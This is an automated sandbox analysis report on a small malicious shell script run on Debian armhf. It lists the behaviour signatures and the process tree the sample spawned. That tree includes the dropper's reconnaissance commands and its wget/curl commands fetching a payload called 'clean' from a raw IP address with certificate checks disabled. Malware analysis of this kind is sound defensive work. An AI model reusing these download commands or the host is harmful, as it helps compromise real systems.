Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260126-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/04/2026, 16:50

General

  • Target
    sh
  • Size 2KB
  • Sample260428-vclfjsfx4m
  • SHA256 8fdd3ab82e8c40e4262d6ea426cf8668541cc9396c38c438b44951422ef2fa52
  • MD5 SHA1 SHA512 TLSH
Score
6/10

Malware Config

Signatures

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads network interface configuration 2 TTPs 6 IoCs

    Fetches information about one or more active network interfaces.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 7 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:656
      • /bin/grep
        grep noexec
        2⤵
          PID:666
        • /bin/cat
          cat /proc/mounts
          2⤵
            PID:665
          • /usr/bin/awk
            awk "{print \$2}"
            2⤵
              PID:667
            • /usr/bin/whoami
              whoami
              2⤵
                PID:678
              • /usr/bin/find
                find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*"
                2⤵
                • Reads network interface configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:683
              • /bin/uname
                uname -mp
                2⤵
                  PID:771
                • /usr/bin/tr
                  tr -d " "
                  2⤵
                    PID:776
                  • /usr/bin/od
                    od -An -N2 -i /dev/urandom
                    2⤵
                      PID:775
                    • /usr/bin/expr
                      expr 64053 "%" 32 + 4
                      2⤵
                        PID:777
                      • /usr/bin/tr
                        tr -dc A-Za-z0-9
                        2⤵
                          PID:780
                        • /usr/bin/head
                          head -c 25
                          2⤵
                            PID:781
                          • /usr/bin/openssl
                            openssl rand -base64 256
                            2⤵
                              PID:779
                            • /usr/bin/touch
                              touch .testfile
                              2⤵
                                PID:782
                              • /bin/dd
                                dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                                2⤵
                                  PID:784
                                • /bin/rm
                                  rm -rf .testfile .testfile2
                                  2⤵
                                    PID:785
                                  • /bin/rm
                                    rm -rf clean
                                    2⤵
                                      PID:786
                                    • /usr/bin/wget
                                      wget --no-check-certificate -q https://217.60.241.36/clean
                                      2⤵
                                        PID:787
                                      • /usr/bin/curl
                                        curl -skO https://217.60.241.36/clean
                                        2⤵
                                        • Checks CPU configuration
                                        PID:818

                                    Network

                                          MITRE ATT&CK Enterprise v16

                                          Replay Monitor

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                                          Downloads

                                          .testfile2

                                          • Path /.testfile2
                                          • Size 2.0MB
                                          • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                          • MD5 SHA1 SHA512 SSDEEP